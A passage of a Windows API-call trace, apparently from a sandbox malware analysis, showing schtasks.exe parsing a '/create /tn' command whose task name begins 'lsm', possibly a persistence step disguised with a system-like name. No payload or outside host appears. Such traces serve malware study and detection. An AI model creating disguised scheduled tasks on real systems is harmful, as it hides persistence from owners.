0x1b0000 [0083.742] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccde0) returned 0x20 [0083.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccde0 | out: hHeap=0x1b0000) returned 1 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc430) returned 1 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc430) returned 0x8 [0083.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc430 | out: hHeap=0x1b0000) returned 1 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.742] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce10) returned 1 [0083.742] GetProcessHeap () returned 0x1b0000 [0083.743] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce10) returned 0x20 [0083.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce10 | out: hHeap=0x1b0000) returned 1 [0083.743] GetProcessHeap () returned 0x1b0000 [0083.743] GetProcessHeap () returned 0x1b0000 [0083.743] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd5e0) returned 1 [0083.743] GetProcessHeap () returned 0x1b0000 [0083.743] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd5e0) returned 0x10 [0083.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd5e0 | out: hHeap=0x1b0000) returned 1 [0083.743] GetProcessHeap () returned 0x1b0000 [0083.743] GetProcessHeap () returned 0x1b0000 [0083.743] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce40) returned 1 [0083.743] GetProcessHeap () returned 0x1b0000 [0083.743] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce40) returned 0x20 [0083.744] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce40 | out: hHeap=0x1b0000) returned 1 [0083.744] GetProcessHeap () returned 0x1b0000 [0083.744] GetProcessHeap () returned 0x1b0000 [0083.744] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cddb0) returned 1 [0083.744] GetProcessHeap () returned 0x1b0000 [0083.744] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cddb0) returned 0x6 [0083.744] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cddb0 | out: hHeap=0x1b0000) returned 1 [0083.744] GetProcessHeap () returned 0x1b0000 [0083.744] GetProcessHeap () returned 0x1b0000 [0083.744] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce70) returned 1 [0083.744] GetProcessHeap () returned 0x1b0000 [0083.744] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce70) returned 0x20 [0083.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce70 | out: hHeap=0x1b0000) returned 1 [0083.745] GetProcessHeap () returned 0x1b0000 [0083.745] GetProcessHeap () returned 0x1b0000 [0083.745] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7f40) returned 1 [0083.745] GetProcessHeap () returned 0x1b0000 [0083.745] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7f40) returned 0x18 [0083.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7f40 | out: hHeap=0x1b0000) returned 1 [0083.745] SetLastError (dwErrCode=0x0) [0083.745] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0083.745] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0083.745] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0083.745] VerifyVersionInfoW (in: lpVersionInformation=0x11c110, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c110) returned 1 [0083.746] SetLastError (dwErrCode=0x0) [0083.746] lstrlenW (lpString="create") returned 6 [0083.746] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0083.746] SetLastError (dwErrCode=0x490) [0083.746] SetLastError (dwErrCode=0x0) [0083.746] lstrlenW (lpString="create") returned 6 [0083.746] GetProcessHeap () returned 0x1b0000 [0083.746] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce70 [0083.746] GetProcessHeap () returned 0x1b0000 [0083.746] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cd5e0 [0083.746] _memicmp (_Buf1=0x1cd5e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.746] GetProcessHeap () returned 0x1b0000 [0083.746] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x16) returned 0x1cd600 [0083.746] SetLastError (dwErrCode=0x0) [0083.746] _memicmp (_Buf1=0x1cbb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.746] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cbcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0083.746] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0083.747] GetProcessHeap () returned 0x1b0000 [0083.747] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x74e) returned 0x1cddb0 [0083.747] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1cddb0 | out: lpData=0x1cddb0) returned 1 [0083.747] VerQueryValueW (in: pBlock=0x1cddb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c1f8, puLen=0x11c260 | out: lplpBuffer=0x11c1f8*=0x1ce14c, puLen=0x11c260) returned 1 [0083.747] _memicmp (_Buf1=0x1cbb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.747] _vsnwprintf (in: _Buffer=0x1cbcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c1d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0083.747] VerQueryValueW (in: pBlock=0x1cddb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c268, puLen=0x11c258 | out: lplpBuffer=0x11c268*=0x1cdf78, puLen=0x11c258) returned 1 [0083.747] lstrlenW (lpString="schtasks.exe") returned 12 [0083.747] lstrlenW (lpString="schtasks.exe") returned 12 [0083.747] lstrlenW (lpString=".EXE") returned 4 [0083.747] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0083.748] lstrlenW (lpString="schtasks.exe") returned 12 [0083.748] lstrlenW (lpString=".EXE") returned 4 [0083.748] lstrlenW (lpString="schtasks") returned 8 [0083.748] lstrlenW (lpString="/create") returned 7 [0083.748] _memicmp (_Buf1=0x1cbb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.748] _vsnwprintf (in: _Buffer=0x1cbcf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c1d8 | out: _Buffer="schtasks /create") returned 16 [0083.748] _memicmp (_Buf1=0x1cbb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.748] GetProcessHeap () returned 0x1b0000 [0083.748] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce40 [0083.748] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.748] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0083.748] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0083.748] GetProcessHeap () returned 0x1b0000 [0083.748] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x30) returned 0x1c7be0 [0083.748] _vsnwprintf (in: _Buffer=0x1cc0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c1d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0083.748] GetProcessHeap () returned 0x1b0000 [0083.748] GetProcessHeap () returned 0x1b0000 [0083.748] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cddb0) returned 1 [0083.748] GetProcessHeap () returned 0x1b0000 [0083.748] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cddb0) returned 0x74e [0083.749] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cddb0 | out: hHeap=0x1b0000) returned 1 [0083.749] SetLastError (dwErrCode=0x0) [0083.749] GetThreadLocale () returned 0x409 [0083.749] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.749] lstrlenW (lpString="create") returned 6 [0083.749] GetThreadLocale () returned 0x409 [0083.749] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.749] lstrlenW (lpString="?") returned 1 [0083.749] GetThreadLocale () returned 0x409 [0083.749] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.749] lstrlenW (lpString="s") returned 1 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="u") returned 1 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="p") returned 1 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="ru") returned 2 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="rp") returned 2 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="sc") returned 2 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="mo") returned 2 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="d") returned 1 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.750] lstrlenW (lpString="m") returned 1 [0083.750] GetThreadLocale () returned 0x409 [0083.750] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="i") returned 1 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="tn") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="tr") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="st") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="sd") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="ed") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="it") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="et") returned 2 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.751] lstrlenW (lpString="k") returned 1 [0083.751] GetThreadLocale () returned 0x409 [0083.751] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="du") returned 2 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="ri") returned 2 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="z") returned 1 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="f") returned 1 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="v1") returned 2 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="xml") returned 3 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="ec") returned 2 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="rl") returned 2 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="delay") returned 5 [0083.752] GetThreadLocale () returned 0x409 [0083.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.752] lstrlenW (lpString="np") returned 2 [0083.753] SetLastError (dwErrCode=0x0) [0083.753] SetLastError (dwErrCode=0x0) [0083.753] lstrlenW (lpString="/create") returned 7 [0083.753] lstrlenW (lpString="-/") returned 2 [0083.753] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.753] lstrlenW (lpString="create") returned 6 [0083.753] lstrlenW (lpString="create") returned 6 [0083.753] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.753] lstrlenW (lpString="create") returned 6 [0083.753] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.753] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.753] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.753] lstrlenW (lpString="|create|") returned 8 [0083.753] lstrlenW (lpString="|create|") returned 8 [0083.753] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0083.753] SetLastError (dwErrCode=0x0) [0083.753] SetLastError (dwErrCode=0x0) [0083.753] SetLastError (dwErrCode=0x0) [0083.753] lstrlenW (lpString="/tn") returned 3 [0083.753] lstrlenW (lpString="-/") returned 2 [0083.753] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.753] lstrlenW (lpString="create") returned 6 [0083.753] lstrlenW (lpString="create") returned 6 [0083.753] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.753] lstrlenW (lpString="tn") returned 2 [0083.753] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.754] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.754] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.754] lstrlenW (lpString="|create|") returned 8 [0083.754] lstrlenW (lpString="|tn|") returned 4 [0083.754] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0083.754] SetLastError (dwErrCode=0x490) [0083.754] lstrlenW (lpString="?") returned 1 [0083.754] lstrlenW (lpString="?") returned 1 [0083.754] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.754] lstrlenW (lpString="tn") returned 2 [0083.754] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.754] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|?|") returned 3 [0083.754] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.754] lstrlenW (lpString="|?|") returned 3 [0083.754] lstrlenW (lpString="|tn|") returned 4 [0083.754] SetLastError (dwErrCode=0x490) [0083.754] lstrlenW (lpString="s") returned 1 [0083.754] lstrlenW (lpString="s") returned 1 [0083.754] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.754] lstrlenW (lpString="tn") returned 2 [0083.754] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.754] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|s|") returned 3 [0083.754] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.754] lstrlenW (lpString="|s|") returned 3 [0083.755] lstrlenW (lpString="|tn|") returned 4 [0083.755] SetLastError (dwErrCode=0x490) [0083.755] lstrlenW (lpString="u") returned 1 [0083.755] lstrlenW (lpString="u") returned 1 [0083.755] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.755] lstrlenW (lpString="tn") returned 2 [0083.755] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.755] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|u|") returned 3 [0083.755] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.755] lstrlenW (lpString="|u|") returned 3 [0083.755] lstrlenW (lpString="|tn|") returned 4 [0083.755] SetLastError (dwErrCode=0x490) [0083.755] lstrlenW (lpString="p") returned 1 [0083.755] lstrlenW (lpString="p") returned 1 [0083.755] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.755] lstrlenW (lpString="tn") returned 2 [0083.755] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.755] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|p|") returned 3 [0083.755] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.755] lstrlenW (lpString="|p|") returned 3 [0083.755] lstrlenW (lpString="|tn|") returned 4 [0083.755] SetLastError (dwErrCode=0x490) [0083.755] lstrlenW (lpString="ru") returned 2 [0083.755] lstrlenW (lpString="ru") returned 2 [0083.756] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.756] lstrlenW (lpString="tn") returned 2 [0083.756] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.756] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ru|") returned 4 [0083.756] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.756] lstrlenW (lpString="|ru|") returned 4 [0083.756] lstrlenW (lpString="|tn|") returned 4 [0083.756] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0083.756] SetLastError (dwErrCode=0x490) [0083.756] lstrlenW (lpString="rp") returned 2 [0083.756] lstrlenW (lpString="rp") returned 2 [0083.756] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.756] lstrlenW (lpString="tn") returned 2 [0083.756] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.756] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rp|") returned 4 [0083.756] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.756] lstrlenW (lpString="|rp|") returned 4 [0083.756] lstrlenW (lpString="|tn|") returned 4 [0083.756] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0083.756] SetLastError (dwErrCode=0x490) [0083.756] lstrlenW (lpString="sc") returned 2 [0083.756] lstrlenW (lpString="sc") returned 2 [0083.756] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.757] lstrlenW (lpString="tn") returned 2 [0083.757] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.757] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.757] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.757] lstrlenW (lpString="|sc|") returned 4 [0083.757] lstrlenW (lpString="|tn|") returned 4 [0083.757] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0083.757] SetLastError (dwErrCode=0x490) [0083.757] lstrlenW (lpString="mo") returned 2 [0083.757] lstrlenW (lpString="mo") returned 2 [0083.757] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.757] lstrlenW (lpString="tn") returned 2 [0083.757] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.757] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|mo|") returned 4 [0083.757] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.757] lstrlenW (lpString="|mo|") returned 4 [0083.757] lstrlenW (lpString="|tn|") returned 4 [0083.757] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0083.757] SetLastError (dwErrCode=0x490) [0083.757] lstrlenW (lpString="d") returned 1 [0083.757] lstrlenW (lpString="d") returned 1 [0083.757] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.757] lstrlenW (lpString="tn") returned 2 [0083.757] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.758] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|d|") returned 3 [0083.758] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.758] lstrlenW (lpString="|d|") returned 3 [0083.758] lstrlenW (lpString="|tn|") returned 4 [0083.758] SetLastError (dwErrCode=0x490) [0083.758] lstrlenW (lpString="m") returned 1 [0083.758] lstrlenW (lpString="m") returned 1 [0083.758] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.758] lstrlenW (lpString="tn") returned 2 [0083.758] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.758] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|m|") returned 3 [0083.758] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.758] lstrlenW (lpString="|m|") returned 3 [0083.758] lstrlenW (lpString="|tn|") returned 4 [0083.758] SetLastError (dwErrCode=0x490) [0083.758] lstrlenW (lpString="i") returned 1 [0083.758] lstrlenW (lpString="i") returned 1 [0083.758] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.758] lstrlenW (lpString="tn") returned 2 [0083.758] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.758] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|i|") returned 3 [0083.758] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.758] lstrlenW (lpString="|i|") returned 3 [0083.758] lstrlenW (lpString="|tn|") returned 4 [0083.759] SetLastError (dwErrCode=0x490) [0083.759] lstrlenW (lpString="tn") returned 2 [0083.759] lstrlenW (lpString="tn") returned 2 [0083.759] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.759] lstrlenW (lpString="tn") returned 2 [0083.759] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.759] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.759] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.759] lstrlenW (lpString="|tn|") returned 4 [0083.759] lstrlenW (lpString="|tn|") returned 4 [0083.759] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0083.759] SetLastError (dwErrCode=0x0) [0083.759] SetLastError (dwErrCode=0x0) [0083.759] lstrlenW (lpString="lsm") returned 3 